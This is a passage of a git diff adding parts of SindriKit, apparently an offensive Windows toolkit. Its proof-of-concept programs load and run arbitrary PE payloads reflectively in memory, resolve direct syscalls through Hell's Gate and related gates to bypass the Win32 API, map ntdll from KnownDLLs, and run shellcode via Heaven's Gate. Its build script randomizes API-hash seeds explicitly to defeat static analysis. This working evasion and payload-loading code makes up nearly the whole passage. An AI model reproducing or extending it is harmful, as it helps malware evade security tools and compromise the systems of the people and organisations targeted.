snd_syscall_entry_t *entry_out); + +/** + * @brief Sets the primary syscall resolution strategy using a function pointer. + * @param resolver The resolver function to use as the primary strategy. + */ +void snd_set_syscall_strategy(snd_syscall_resolver_t resolver); + +/** + * @brief Adds a fallback syscall resolution strategy to the pipeline. + * @param resolver The fallback resolver function to add. + * @return SND_OK on success, or an error if the pipeline is full. + */ +snd_status_t snd_add_syscall_strategy(snd_syscall_resolver_t resolver); + +/** + * @brief Core resolution entrypoint (evaluates the internal fallback chain + * automatically). + * + * @param func_hash The hash of the target syscall function name. + * @param entry_out Pointer to the entry structure to populate. + * @return SND_OK on success, or an error code if resolution fails. + */ +snd_status_t snd_resolve_syscall(DWORD func_hash, snd_syscall_entry_t *entry_out); + +/** + * @brief ASM stub for invoking syscalls. + * @param args Pointer to the syscall arguments structure. + * @return The NTSTATUS returned by the syscall. + */ +extern NTSTATUS snd_invoke_syscall_asm(snd_syscall_args_t *args); + +SND_END_EXTERN_C + +#endif // SND_PRIMITIVES_SYSCALLS_COMMON_H diff --git a/pocs/CMakeLists.txt b/pocs/CMakeLists.txt new file mode 100644 index 0000000..fab7124 --- /dev/null +++ b/pocs/CMakeLists.txt @@ -0,0 +1,11 @@ +if(SND_CRTLESS) + add_subdirectory(loader_noCRT_nowinapi) + target_link_options(loader_noCRT_nowinapi PRIVATE + /NODEFAULTLIB + /ENTRY:main + ) +else() + add_subdirectory(loader_winapi) + add_subdirectory(loader_nowinapi) + add_subdirectory(heavens_gate) +endif() diff --git a/pocs/heavens_gate/CMakeLists.txt b/pocs/heavens_gate/CMakeLists.txt new file mode 100644 index 0000000..abe598e --- /dev/null +++ b/pocs/heavens_gate/CMakeLists.txt @@ -0,0 +1,2 @@ +add_executable(heavens_gate main.c) +target_link_libraries(heavens_gate PRIVATE sindri::engine) diff --git a/pocs/heavens_gate/main.c b/pocs/heavens_gate/main.c new file mode 100644 index 0000000..d77edeb --- /dev/null +++ b/pocs/heavens_gate/main.c @@ -0,0 +1,63 @@ +#include +#include +#include + +int main(void) { + printf("[*] SindriKit Heaven's Gate PoC\n"); + +#if defined(_WIN64) + printf("[-] This PoC is compiled as 64-bit native. Heaven's Gate is a 32-bit " + "WOW64 technique.\n"); + printf("[-] Please compile the project for x86 (32-bit) to test Heaven's " + "Gate.\n"); + return SND_STATUS_ARCH_MISMATCH; +#elif defined(_WIN32) + if (!snd_is_wow64()) { + printf("[-] Not running in WOW64 (either 32-bit OS or native 64-bit " + "process). Heaven's Gate requires WOW64.\n"); + return SND_STATUS_ARCH_MISMATCH; + } + + printf("[+] WOW64 environment detected (using native PEB parsing).\n"); + + /* + * 64-bit Shellcode to execute. + * + * Assembly (x64): + * mov rax, 0x1122334455667788 + * ret + * + * Bytes: 48 B8 88 77 66 55 44 33 22 11 C3 + */ + unsigned char shellcode64[] = { + 0x48, 0xB8, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11, // mov rax, 0x1122334455667788 + 0xC3 // ret + }; + + // Allocate executable memory for the shellcode + PVOID pExec = VirtualAlloc(NULL, sizeof(shellcode64), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!pExec) { + printf("[-] Failed to allocate executable memory.\n"); + return SND_ERROR_GENERIC; + } + + memcpy(pExec, shellcode64, sizeof(shellcode64)); + + printf("[*] Executing 64-bit shellcode at 0x%p via Heaven's Gate...\n", pExec); + + UINT64 result = 0; + snd_status_t status = snd_hg_execute_64((UINT64)(ULONG_PTR)pExec, 0, NULL, &result); + + if (status.code == SND_SUCCESS) { + printf("[+] Heaven's Gate execution successful!\n"); + printf("[+] 64-bit code returned: 0x%llx (Expected: 0x1122334455667788)\n", result); + } else { + printf("[-] Heaven's Gate execution failed with status code: 0x%08X\n", status.code); + } + + VirtualFree(pExec, 0, MEM_RELEASE); + return SND_SUCCESS; +#else +#error "Unsupported architecture: SindriKit requires _WIN32 or _WIN64" +#endif +} diff --git a/pocs/loader_noCRT_nowinapi/CMakeLists.txt b/pocs/loader_noCRT_nowinapi/CMakeLists.txt new file mode 100644 index 0000000..8d4fbde --- /dev/null +++ b/pocs/loader_noCRT_nowinapi/CMakeLists.txt @@ -0,0 +1,2 @@ +add_executable(loader_noCRT_nowinapi main.c) +target_link_libraries(loader_noCRT_nowinapi PRIVATE sindri::engine) diff --git a/pocs/loader_noCRT_nowinapi/main.c b/pocs/loader_noCRT_nowinapi/main.c new file mode 100644 index 0000000..7003bc7 --- /dev/null +++ b/pocs/loader_noCRT_nowinapi/main.c @@ -0,0 +1,52 @@ +#include + +int main() { + // Your exe path here + const char *file_path = "payload.exe"; + + snd_status_t status; + + snd_buffer_t file_buf = {0}; + snd_loader_ctx_t ctx = {0}; + + PVOID ntdll; + status = snd_peb_get_module_base_by_hash(SND_HASH_NTDLL_DLL, &ntdll); + if (status.code != SND_SUCCESS) { + goto cleanup; + } + + snd_set_ntdll(ntdll); + + snd_set_syscall_strategy(snd_hell_extract_syscall); + + ctx.mem_api = &snd_mem_native; + ctx.mod_api = &snd_mod_native; + + status = snd_buffer_load_from_disk(file_path, &file_buf); + if (status.code != SND_SUCCESS) { + goto cleanup; + } + + ctx.raw_source = &file_buf; + + status = snd_prepare_reflective_image(&ctx); + if (status.code != SND_SUCCESS) { + goto cleanup; + } + + status = snd_execute_reflective_image(&ctx); + if (status.code != SND_SUCCESS) { + goto cleanup; + } + +cleanup: + snd_detach_reflective_image(&ctx); + snd_free_mapped_image(&ctx); + snd_buffer_free(&file_buf); + + if (status.code != SND_SUCCESS) { + return status.code; + } + + return status.code; +} diff --git a/pocs/loader_nowinapi/CMakeLists.txt b/pocs/loader_nowinapi/CMakeLists.txt new file mode 100644 index 0000000..0d18b77 --- /dev/null +++ b/pocs/loader_nowinapi/CMakeLists.txt @@ -0,0 +1,2 @@ +add_executable(loader_nowinapi main.c) +target_link_libraries(loader_nowinapi PRIVATE sindri::engine) diff --git a/pocs/loader_nowinapi/main.c b/pocs/loader_nowinapi/main.c new file mode 100644 index 0000000..aea9b13 --- /dev/null +++ b/pocs/loader_nowinapi/main.c @@ -0,0 +1,225 @@ +#include +#include +#include +#include + +/* Maximum number of -a arguments accepted on the command line. */ +#define SND_MAX_CALL_ARGS 32 + +static void print_usage(const char *program_name, FILE *stream) { + fprintf(stream, + "Usage:\n" + " %s -f [-e ] [-a ]...\n\n" + "Options:\n" + " -f Path to the PE payload (DLL or EXE).\n" + " -e Export to invoke (required for DLL payloads).\n" + " -a Argument to pass to the export. Accepts decimal\n" + " or hexadecimal (0x prefix) values. Repeat for\n" + " multiple arguments (up to %d), in order.\n\n" + "Notes:\n" + " - The payload type is auto-detected (DLL/EXE).\n" + " - For DLL payloads, -e is required and that export is called via the\n" + " runtime FFI bridge using any -a arguments supplied.\n" + " - For EXE payloads, -e and -a are ignored; the EXE entry point runs.\n" + " - Memory and module primitives use direct syscalls (no Win32 API).\n", + program_name, SND_MAX_CALL_ARGS); +} + +int main(int argc, char *argv[]) { + const char *file_path = NULL; + const char *export_name = NULL; + + /* Runtime argument array populated from -a flags. */ + UINT_PTR call_args[SND_MAX_CALL_ARGS]; + DWORD call_argc = 0; + + for (int i = 1; i < argc; i++) { + if ((strcmp(argv[i], "-h") == 0) || (strcmp(argv[i], "--help") == 0)) { + print_usage(argv[0], stdout); + return SND_SUCCESS; + } + + if (strcmp(argv[i], "-f") == 0) { + if (i + 1 >= argc) { + fprintf(stderr, "[-] Missing value for -f.\n"); + print_usage(argv[0], stderr); + return SND_STATUS_MISSING_COMMAND_LINE_ARGS; + } + file_path = argv[++i]; + continue; + } + + if (strcmp(argv[i], "-e") == 0) { + if (i + 1 >= argc) { + fprintf(stderr, "[-] Missing value for -e.\n"); + print_usage(argv[0], stderr); + return SND_STATUS_MISSING_COMMAND_LINE_ARGS; + } + export_name = argv[++i]; + continue; + } + + if (strcmp(argv[i], "-a") == 0) { + if (i + 1 >= argc) { + fprintf(stderr, "[-] Missing value for -a.\n"); + print_usage(argv[0], stderr); + return SND_STATUS_MISSING_COMMAND_LINE_ARGS; + } + if (call_argc >= SND_MAX_CALL_ARGS) { + fprintf(stderr, "[-] Too many -a arguments (maximum: %d).\n", SND_MAX_CALL_ARGS); + return SND_STATUS_INVALID_COMMAND_LINE_ARG; + } + /* ------------------------------------------------------------------ + * Try to parse as a numeric value (decimal or 0x-prefixed hex). + * If parsing fails, treat the raw string itself as a pointer argument + * argv[] is valid for the process lifetime, so the char* is stable + * across this synchronous call. + * ------------------------------------------------------------------ */ + char *endptr = NULL; + const char *raw = argv[++i]; + unsigned long long parsed = strtoull(raw, &endptr, 0); + + if (endptr != raw && *endptr == '\0') { + /* Successfully parsed as a number. */ + call_args[call_argc] = (UINT_PTR)parsed; + printf("[*] arg[%lu] = 0x%llX (numeric)\n", (unsigned long)call_argc, parsed); + } else { + /* Not a valid number, pass as a string pointer. */ + call_args[call_argc] = (UINT_PTR)(const char *)raw; + printf("[*] arg[%lu] = \"%s\" (string ptr: 0x%p)\n", (unsigned long)call_argc, raw, + (void *)(UINT_PTR)(const char *)raw); + } + call_argc++; + continue; + } + + fprintf(stderr, "[-] Unknown argument: %s\n", argv[i]); + print_usage(argv[0], stderr); + return SND_STATUS_INVALID_COMMAND_LINE_ARG; + } + + if (file_path == NULL) { + fprintf(stderr, "[-] -f is required.\n"); + print_usage(argv[0], stderr); + return SND_STATUS_MISSING_COMMAND_LINE_ARGS; + } + + snd_status_t status = SND_OK; + + snd_buffer_t file_buf = {0}; + snd_loader_ctx_t ctx = {0}; + + PVOID ntdll; + + // First Method: Disk Loading + /* + snd_buffer_t ntdll_buf = {0}; + snd_loader_ctx_t ntdll_ctx = {0}; + + status = snd_buffer_load_from_disk("C:\\Windows\\System32\\ntdll.dll", + &ntdll_buf); if (status.code != SND_SUCCESS) { goto cleanup; + } + + ntdll_ctx.mem_api = &snd_mem_win; + ntdll_ctx.mod_api = &snd_mod_win; + + ntdll_ctx.raw_source = &ntdll_buf; + + status = snd_pe_parse(ntdll_ctx.raw_source, FALSE, &ntdll_ctx.pe); + if (status.code != SND_SUCCESS) { + goto cleanup; + } + + ntdll_ctx.stage = SND_STAGE_PARSED; + + status = snd_allocate_and_copy_image(&ntdll_ctx); + if (status.code != SND_SUCCESS) { + goto cleanup; + } + + ntdll = ntdll_ctx.target.virtual_base; + */ + + // Second Method: PEB Walking + // status = snd_peb_get_module_base_by_hash(SND_HASH_NTDLL_DLL, &ntdll); + + // Third Method: Known DLL Mapping + status = snd_map_knowndll(&snd_knowndlls_win, L"ntdll.dll", &ntdll); + if (status.code != SND_SUCCESS) { + goto cleanup; + } + snd_set_ntdll(ntdll); + + /* Configure the cascading syscall resolution strategy. */ + snd_set_syscall_strategy(snd_hell_extract_syscall); + snd_add_syscall_strategy(snd_halo_extract_syscall); + snd_add_syscall_strategy(snd_veles_extract_syscall); + snd_add_syscall_strategy(snd_tartarus_extract_syscall); + + ctx.mem_api = &snd_mem_native; + ctx.mod_api = &snd_mod_native; + + printf("[+] Loading payload into memory: %s\n", file_path); + status = snd_buffer_load_from_disk(file_path, &file_buf); + if (status.code != SND_SUCCESS) { + goto cleanup; + } + + ctx.raw_source = &file_buf; + + status = snd_prepare_reflective_image(&ctx); + if (status.code != SND_SUCCESS) { + goto cleanup; + } + + if (ctx.pe.is_dll && export_name == NULL) { + status = SND_ERR_CTX(SND_STATUS_MISSING_DLL_EXPORT_NAME, + "Export name is required for DLL payloads. Use -e ."); + goto cleanup; + } + + status = snd_execute_reflective_image(&ctx); + if (status.code != SND_SUCCESS) { + goto cleanup; + } + + if (ctx.pe.is_dll && export_name != NULL) { + /* ------------------------------------------------------------------ + * Resolve the export by name, then invoke it through the runtime FFI + * bridge using the argument array built from -a flags. + * + * Type-punning strategy (C4152-safe): + * FARPROC -> (UINT_PTR) -> (PVOID) + * The intermediate UINT_PTR cast makes the conversion an integer + * operation, not a function-pointer conversion, so MSVC C4152 is + * never triggered. + * ------------------------------------------------------------------ */ + FARPROC dynamic_proc = NULL; + status = snd_get_proc_address(&ctx, export_name, &dynamic_proc); + if (status.code != SND_SUCCESS) { + goto cleanup; + } + + printf("[+] Invoking export '%s' with %lu argument(s) via dynamic bridge.\n", export_name, + (unsigned long)call_argc); + + PVOID fn_ptr = (PVOID)(UINT_PTR)dynamic_proc; + UINT_PTR retval = snd_execute_dynamic(fn_ptr, call_argc, call_argc > 0 ? call_args : NULL); + + printf("[+] Export returned: 0x%p\n", (void *)retval); + } + + printf("\n[+] Payload execution completed successfully.\n"); + +cleanup: + snd_detach_reflective_image(&ctx); + snd_free_mapped_image(&ctx); + snd_buffer_free(&file_buf); + + if (status.code != SND_SUCCESS) { + snd_status_print(status); + return status.code; + } + + return status.code; +} diff --git a/pocs/loader_winapi/CMakeLists.txt b/pocs/loader_winapi/CMakeLists.txt new file mode 100644 index 0000000..2c49f80 --- /dev/null +++ b/pocs/loader_winapi/CMakeLists.txt @@ -0,0 +1,2 @@ +add_executable(loader_winapi main.c) +target_link_libraries(loader_winapi PRIVATE sindri::engine) diff --git a/pocs/loader_winapi/main.c b/pocs/loader_winapi/main.c new file mode 100644 index 0000000..a5ba01c --- /dev/null +++ b/pocs/loader_winapi/main.c @@ -0,0 +1,178 @@ +#include +#include +#include +#include + +/* Maximum number of -a arguments accepted on the command line. */ +#define SND_MAX_CALL_ARGS 32 + +static void print_usage(const char *program_name, FILE *stream) { + fprintf(stream, + "Usage:\n" + " %s -f [-e ] [-a ]...\n\n" + "Options:\n" + " -f Path to the PE payload (DLL or EXE).\n" + " -e Export to invoke (required for DLL payloads).\n" + " -a Argument to pass to the export. Accepts decimal\n" + " or hexadecimal (0x prefix) values. Repeat for\n" + " multiple arguments (up to %d), in order.\n\n" + "Notes:\n" + " - The payload type is auto-detected (DLL/EXE).\n" + " - For DLL payloads, -e is required and that export is called via the\n" + " runtime FFI bridge using any -a arguments supplied.\n" + " - For EXE payloads, -e and -a are ignored; the EXE entry point " + "runs.\n", + program_name, SND_MAX_CALL_ARGS); +} + +int main(int argc, char *argv[]) { + const char *file_path = NULL; + const char *export_name = NULL; + + /* Runtime argument array populated from -a flags. */ + UINT_PTR call_args[SND_MAX_CALL_ARGS]; + DWORD call_argc = 0; + + for (int i = 1; i < argc; i++) { + if ((strcmp(argv[i], "-h") == 0) || (strcmp(argv[i], "--help") == 0)) { + print_usage(argv[0], stdout); + return SND_SUCCESS; + } + + if (strcmp(argv[i], "-f") == 0) { + if (i + 1 >= argc) { + fprintf(stderr, "[-] Missing value for -f.\n"); + print_usage(argv[0], stderr); + return SND_STATUS_MISSING_COMMAND_LINE_ARGS; + } + file_path = argv[++i]; + continue; + } + + if (strcmp(argv[i], "-e") == 0) { + if (i + 1 >= argc) { + fprintf(stderr, "[-] Missing value for -e.\n"); + print_usage(argv[0], stderr); + return SND_STATUS_MISSING_COMMAND_LINE_ARGS; + } + export_name = argv[++i]; + continue; + } + + if (strcmp(argv[i], "-a") == 0) { + if (i + 1 >= argc) { + fprintf(stderr, "[-] Missing value for -a.\n"); + print_usage(argv[0], stderr); + return SND_STATUS_MISSING_COMMAND_LINE_ARGS; + } + if (call_argc >= SND_MAX_CALL_ARGS) { + fprintf(stderr, "[-] Too many -a arguments (maximum: %d).\n", SND_MAX_CALL_ARGS); + return SND_STATUS_INVALID_COMMAND_LINE_ARG; + } + /* ------------------------------------------------------------------ + * Try to parse as a numeric value (decimal or 0x-prefixed hex). + * If parsing fails, treat the raw string itself as a pointer argument + * — argv[] is valid for the process lifetime, so the char* is stable + * across this synchronous call. + * ------------------------------------------------------------------ */ + char *endptr = NULL; + const char *raw = argv[++i]; + unsigned long long parsed = strtoull(raw, &endptr, 0); + + if (endptr != raw && *endptr == '\0') { + /* Successfully parsed as a number. */ + call_args[call_argc] = (UINT_PTR)parsed; + printf("[*] arg[%lu] = 0x%llX (numeric)\n", (unsigned long)call_argc, parsed); + } else { + /* Not a valid number — pass as a string pointer. */ + call_args[call_argc] = (UINT_PTR)(const char *)raw; + printf("[*] arg[%lu] = \"%s\" (string ptr: 0x%p)\n", (unsigned long)call_argc, raw, + (void *)(UINT_PTR)(const char *)raw); + } + call_argc++; + continue; + } + + fprintf(stderr, "[-] Unknown argument: %s\n", argv[i]); + print_usage(argv[0], stderr); + return SND_STATUS_INVALID_COMMAND_LINE_ARG; + } + + if (file_path == NULL) { + fprintf(stderr, "[-] -f is required.\n"); + print_usage(argv[0], stderr); + return SND_STATUS_MISSING_COMMAND_LINE_ARGS; + } + + snd_status_t status = SND_OK; + + snd_buffer_t file_buf = {0}; + snd_loader_ctx_t ctx = {0}; + + ctx.mem_api = &snd_mem_win; + ctx.mod_api = &snd_mod_win; + + printf("[+] Loading payload into memory: %s\n", file_path); + status = snd_buffer_load_from_disk(file_path, &file_buf); + if (status.code != SND_SUCCESS) { + goto cleanup; + } + + ctx.raw_source = &file_buf; + + status = snd_prepare_reflective_image(&ctx); + if (status.code != SND_SUCCESS) { + goto cleanup; + } + + if (ctx.pe.is_dll && export_name == NULL) { + status = SND_ERR_CTX(SND_STATUS_MISSING_DLL_EXPORT_NAME, + "Export name is required for DLL payloads. Use -e ."); + goto cleanup; + } + + status = snd_execute_reflective_image(&ctx); + if (status.code != SND_SUCCESS) { + goto cleanup; + } + + if (ctx.pe.is_dll && export_name != NULL) { + /* ------------------------------------------------------------------ + * Resolve the export by name, then invoke it through the runtime FFI + * bridge using the argument array built from -a flags. + * + * Type-punning strategy (C4152-safe): + * FARPROC -> (UINT_PTR) -> (PVOID) + * The intermediate UINT_PTR cast makes the conversion an integer + * operation, not a function-pointer conversion, so MSVC C4152 is + * never triggered. + * ------------------------------------------------------------------ */ + FARPROC dynamic_proc = NULL; + status = snd_get_proc_address(&ctx, export_name, &dynamic_proc); + if (status.code != SND_SUCCESS) { + goto cleanup; + } + + printf("[+] Invoking export '%s' with %lu argument(s) via dynamic bridge.\n", export_name, + (unsigned long)call_argc); + + PVOID fn_ptr = (PVOID)(UINT_PTR)dynamic_proc; + UINT_PTR retval = snd_execute_dynamic(fn_ptr, call_argc, call_argc > 0 ? call_args : NULL); + + printf("[+] Export returned: 0x%p\n", (void *)retval); + } + + printf("\n[+] Payload execution completed successfully.\n"); + +cleanup: + snd_detach_reflective_image(&ctx); + snd_free_mapped_image(&ctx); + snd_buffer_free(&file_buf); + + if (status.code != SND_SUCCESS) { + snd_status_print(status); + return status.code; + } + + return status.code; +} diff --git a/scripts/README.md b/scripts/README.md new file mode 100644 index 0000000..f598f3d --- /dev/null +++ b/scripts/README.md @@ -0,0 +1,7 @@ +# Build Scripts + +This directory contains pre-build automation scripts invoked by the CMake build system. These scripts are not executed at runtime, they generate source code artifacts consumed during compilation. + +## Table of Contents +- [generate_hashes.py](generate_hashes.py) + Python script that reads the hash manifest (`config/hashes.ini`) and emits a C header of pre-computed compile-time hash macros. Generates a randomized 32-bit seed on every invocation to defeat static analysis rainbow tables. diff --git a/scripts/generate_hashes.py b/scripts/generate_hashes.py new file mode 100644 index 0000000..a8f3ff3 --- /dev/null +++ b/scripts/generate_hashes.py @@ -0,0 +1,172 @@ +""" +generate_hashes.py: SindriKit compile-time hash generator + +Usage: + generate_hashes.py + +Reads the structured hash manifest (config/hashes.ini) and emits a C header +of pre-computed compile-time hash macros. Supports DJB2 and FNV1A. + +Anti-Analysis Feature: +---------------------- +If the script is invoked with `ON` as the 4th argument, it generates a +randomized 32-bit GLOBAL_SEED. Otherwise, it uses a deterministic constant. +By randomizing the seed at compile-time, we ensure the resulting API hashes +cannot be reversed using standard static analysis rainbow tables. + +Manifest format +--------------- + [module::ntdll.dll]: section: hash generated for module + every API below it + NtAllocateVirtualMemory + LdrLoadDll + + [extras]: standalone strings; no module hash generated + + # comments and blank lines are ignored everywhere +""" + +import os +import random +import re +import sys + +GLOBAL_SEED = 0x5381 + + +def djb2(s: str) -> int: + h = GLOBAL_SEED + for c in s: + h = ((h << 5) + h + ord(c)) & 0xFFFFFFFF + return h + + +def fnv1a(s: str) -> int: + h = GLOBAL_SEED + for c in s: + h = (h ^ ord(c)) & 0xFFFFFFFF + h = (h * 16777619) & 0xFFFFFFFF + return h + + +ALGORITHMS = {"DJB2": djb2, "FNV1A": fnv1a} + + +def to_macro(name: str) -> str: + """Convert an API or module name to a valid C macro suffix.""" + return re.sub(r"[^A-Za-z0-9]", "_", name).upper() + + +def parse_manifest(path: str): + """ + Parse hashes.ini and return a list of (group_label, module_name_or_None, [api, ...]). + + For [module::X] sections, module_name is X (hash generated for the module too). + For [extras], module_name is None (no module hash). + """ + groups = [] + current_label = None + current_module = None + current_apis = [] + + MODULE_RE = re.compile(r"^\[module::(.+)\]$", re.IGNORECASE) + EXTRAS_RE = re.compile(r"^\[extras\]$", re.IGNORECASE) + + with open(path, "r", encoding="utf-8") as fh: + for raw in fh: + line = raw.strip() + if not line or line.startswith("#"): + continue + + m = MODULE_RE.match(line) + if m: + if current_label is not None: + groups.append((current_label, current_module, current_apis)) + current_label = m.group(1) + current_module = m.group(1) + current_apis = [] + continue + + if EXTRAS_RE.match(line): + if current_label is not None: + groups.append((current_label, current_module, current_apis)) + current_label = "extras" + current_module = None + current_apis = [] + continue + + if current_label is None: + sys.exit(f"[error] Entry '{line}' appears before any section header.") + current_apis.append(line) + + if current_label is not None: + groups.append((current_label, current_module, current_apis)) + + return groups + + +def emit_header(groups, hash_func, algo: str, out_path: str): + os.makedirs(os.path.dirname(out_path), exist_ok=True) + + lines = [ + "// AUTO-GENERATED by scripts/generate_hashes.py (DO NOT EDIT)", + f"// Algorithm: {algo}", + "", + "#ifndef SND_GENERATED_HASHES_H", + "#define SND_GENERATED_HASHES_H", + "", + "/**", + " * @def SND_HASH_SEED", + " * @brief Randomized compile-time seed to thwart static hash analysis.", + " * @note Generated uniquely per build to defeat rainbow table lookups.", + " */", + f"#define SND_HASH_SEED 0x{GLOBAL_SEED:08X}U", + "", + ] + + for label, module_name, apis in groups: + rule = "// " + ("-" * 74) + lines.append(rule) + lines.append(f"// {label}") + lines.append(rule) + + if module_name is not None: + macro = f"SND_HASH_{to_macro(module_name)}" + h = hash_func(module_name.lower()) + lines.append(f"#define {macro:<55} 0x{h:08X}U // module") + + for api in apis: + macro = f"SND_HASH_{to_macro(api)}" + h = hash_func(api) + lines.append(f"#define {macro:<55} 0x{h:08X}U") + + lines.append("") + + lines += ["#endif // SND_GENERATED_HASHES_H", ""] + new_content = "\n".join(lines) + + if os.path.exists(out_path): + with open(out_path, "r", encoding="utf-8") as fh: + if fh.read() == new_content: + return # Skip writing to preserve timestamp + + with open(out_path, "w", encoding="utf-8") as fh: + fh.write(new_content) + + +if __name__ == "__main__": + if len(sys.argv) not in (4, 5): + print("Usage: generate_hashes.py [RANDOMIZE=OFF|ON]") + sys.exit(1) + + in_path, out_path, algo = sys.argv[1], sys.argv[2], sys.argv[3].upper() + + if len(sys.argv) == 5 and sys.argv[4].upper() == "ON": + GLOBAL_SEED = random.randint(0x10000000, 0xFFFFFFFF) + + if algo not in ALGORITHMS: + sys.exit( + f"[error] Unknown algorithm '{algo}'. Supported: {', '.join(ALGORITHMS)}" + ) + + groups = parse_manifest(in_path) + emit_header(groups, ALGORITHMS[algo], algo, out_path) diff --git a/src/common/buffer.c b/src/common/buffer.c new file mode 100644 index 0000000..71bd144 --- /dev/null +++ b/src/common/buffer.c @@ -0,0 +1,24 @@ +#include +#include + +void snd_buffer_init(snd_buffer_t *buf, LPVOID data, SIZE_T size, snd_free_cb free_routine) { + if (!buf) + return; + + buf->data = data; + buf->size = size; + buf->free_routine = free_routine; +} + +void snd_buffer_free(snd_buffer_t *buf) { + if (!buf) + return; + + if (buf->data && buf->free_routine) { + buf->free_routine(buf); + } + + buf->data = NULL; + buf->size = 0; + buf->free_routine = NULL; +} diff --git a/src/common/crt_manifest.c b/src/common/crt_manifest.c new file mode 100644 index 0000000..d86441c --- /dev/null +++ b/src/common/crt_manifest.c @@ -0,0 +1,79 @@ +/** + * @file crt_manifest.c + * @brief MSVC CRT Intrinsic Override Manifest + * + * In a strictly /NODEFAULTLIB environment, the MSVC compiler still generates + * implicit calls to intrinsic functions (like memcpy and memset) behind the + * scenes. This typically occurs during struct assignments-by-value or + * aggressive loop unrolling. + * + * This file defines global, standalone implementations of these functions to + * satisfy the linker and prevent "Unresolved External Symbol" errors, + * guaranteeing SindriKit remains entirely decoupled from msvcrt.dll and + * ucrtbase.dll. + * + * ARCHITECTURAL WARNING: + * Do not call these functions explicitly in SindriKit source code. Always use + * the position-independent `snd_*` primitives defined in `helpers.h` for manual + * operations. + */ + +#include + +/* + * Instruct MSVC to disable internal compiler intrinsics for these specific + * functions within this translation unit. This forces the compiler to treat our + * definitions as the absolute global symbols and prevents it from recursively + * optimizing our byte-loops back into standard CRT calls. + */ +#pragma function(memcpy) +#pragma function(memset) + +/** + * @brief Global compiler-override for implicit memcpy generation. + * * @param dest Pointer to the destination memory block. + * @param src Pointer to the source memory block. + * @param count Number of bytes to copy. + * @return void* Returns the original destination pointer. + */ +void *memcpy(void *dest, const void *src, size_t count) { + if (!dest || !src) { + return dest; + } + + /* + * Volatile casting forces strict physical memory writes. It blinds the + * compiler's optimizer, ensuring it executes the byte-by-byte copy exactly + * as written without swapping it out for a vectorized CRT intrinsic. + */ + volatile BYTE *d = (volatile BYTE *)dest; + const volatile BYTE *s = (const volatile BYTE *)src; + + for (size_t i = 0; i < count; i++) { + d[i] = s[i]; + } + + return dest; +} + +/** + * @brief Global compiler-override for implicit memset generation. + * * @param dest Pointer to the destination memory block. + * @param c The byte value to set (passed as an int per standard signature). + * @param count Number of bytes to set. + * @return void* Returns the original destination pointer. + */ +void *memset(void *dest, int c, size_t count) { + if (!dest) { + return dest; + } + + volatile BYTE *p = (volatile BYTE *)dest; + BYTE fill_value = (BYTE)c; + + for (size_t i = 0; i < count; i++) { + p[i] = fill_value; + } + + return dest; +} diff --git a/src/common/disk.c b/src/common/disk.c new file mode 100644 index 0000000..2715bc6 --- /dev/null +++ b/src/common/disk.c @@ -0,0 +1,66 @@ +#include +#include +#include +#include + +snd_status_t snd_buffer_load_from_disk(const char *path, snd_buffer_t *out_buf) { + if (path == NULL) { + return SND_ERR(SND_STATUS_INVALID_PATH); + } + + if (out_buf == NULL) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + snd_buffer_init(out_buf, NULL, 0, NULL); + + HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); + if (hFile == INVALID_HANDLE_VALUE) { + return SND_ERR_W32_CTX(SND_STATUS_FILE_CREATE_FAILED, "Target file: %s", path); + } + + LARGE_INTEGER fs; + snd_status_t status = SND_OK; + LPVOID heap_data = NULL; + + if (!GetFileSizeEx(hFile, &fs)) { + status = SND_ERR_W32_CTX(SND_STATUS_FILE_SIZE_QUERY_FAILED, "Target file: %s", path); + goto cleanup; + } + + if (fs.QuadPart == 0) { + status = SND_ERR_CTX(SND_STATUS_FILE_TOO_SMALL, "Target file: %s", path); + goto cleanup; + } + + if (fs.QuadPart > MAXDWORD) { + status = SND_ERR_CTX(SND_STATUS_FILE_TOO_LARGE, "Target file: %s", path); + goto cleanup; + } + + SIZE_T file_size = (SIZE_T)fs.QuadPart; + + heap_data = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, file_size); + if (heap_data == NULL) { + status = SND_ERR_W32_CTX(SND_STATUS_ALLOC_FAILED, "Target file: %s", path); + goto cleanup; + } + + DWORD bytes_read = 0; + if (!ReadFile(hFile, heap_data, (DWORD)file_size, &bytes_read, NULL) || bytes_read != file_size) { + status = SND_ERR_W32_CTX(SND_STATUS_FILE_READ_FAILED, "Target file: %s", path); + goto cleanup; + } + + snd_buffer_init(out_buf, heap_data, file_size, snd_buffer_free_heap); + heap_data = NULL; + +cleanup: + if (heap_data != NULL) { + HeapFree(GetProcessHeap(), 0, heap_data); + } + if (hFile != INVALID_HANDLE_VALUE) { + CloseHandle(hFile); + } + return status; +} diff --git a/src/common/hash.c b/src/common/hash.c new file mode 100644 index 0000000..23df38b --- /dev/null +++ b/src/common/hash.c @@ -0,0 +1,133 @@ +#include +#include +#include +#include + +/** + * @def SND_HASH_SEED + * @brief Fallback initialization constant for hashing algorithms. + * * Under normal build conditions, SND_HASH_SEED is randomly generated + * by the Python build script and provided via sindri_hashes.h to prevent + * API hash fingerprinting. + * * If the header fails to define it (e.g., manual compilation without the + * build system), we fall back to the standard, ingerprintable algorithm + * constants to prevent compilation failure. + */ +#ifndef SND_HASH_SEED +#if defined(SND_HASH_FNV1A) +#pragma message("WARNING: Using standard FNV-1a seed. Binary is easily fingerprintable.") +#define SND_HASH_SEED 2166136261U +#else +#pragma message("WARNING: Using standard djb2 seed. Binary is easily fingerprintable.") +#define SND_HASH_SEED 5381U +#endif +#endif + +SND_FORCE_INLINE DWORD snd_hash_djb2_internal(const char *str) { + if (!str) + return 0; + DWORD hash = SND_HASH_SEED; + while (*str) { + hash = hash * 33 + (unsigned char)*str; + str++; + } + return hash; +} + +SND_FORCE_INLINE DWORD snd_hash_fnv1a_internal(const char *str) { + if (!str) + return 0; + DWORD hash = SND_HASH_SEED; + while (*str) { + hash ^= (unsigned char)*str; + hash *= 16777619U; + str++; + } + return hash; +} + +SND_FORCE_INLINE DWORD snd_hash_djb2_lower_internal(const char *str) { + if (!str) + return 0; + DWORD hash = SND_HASH_SEED; + while (*str) { + char c = *str; + if (c >= 'A' && c <= 'Z') { + c += ('a' - 'A'); + } + hash = hash * 33 + (unsigned char)c; + str++; + } + return hash; +} + +SND_FORCE_INLINE DWORD snd_hash_fnv1a_lower_internal(const char *str) { + if (!str) + return 0; + DWORD 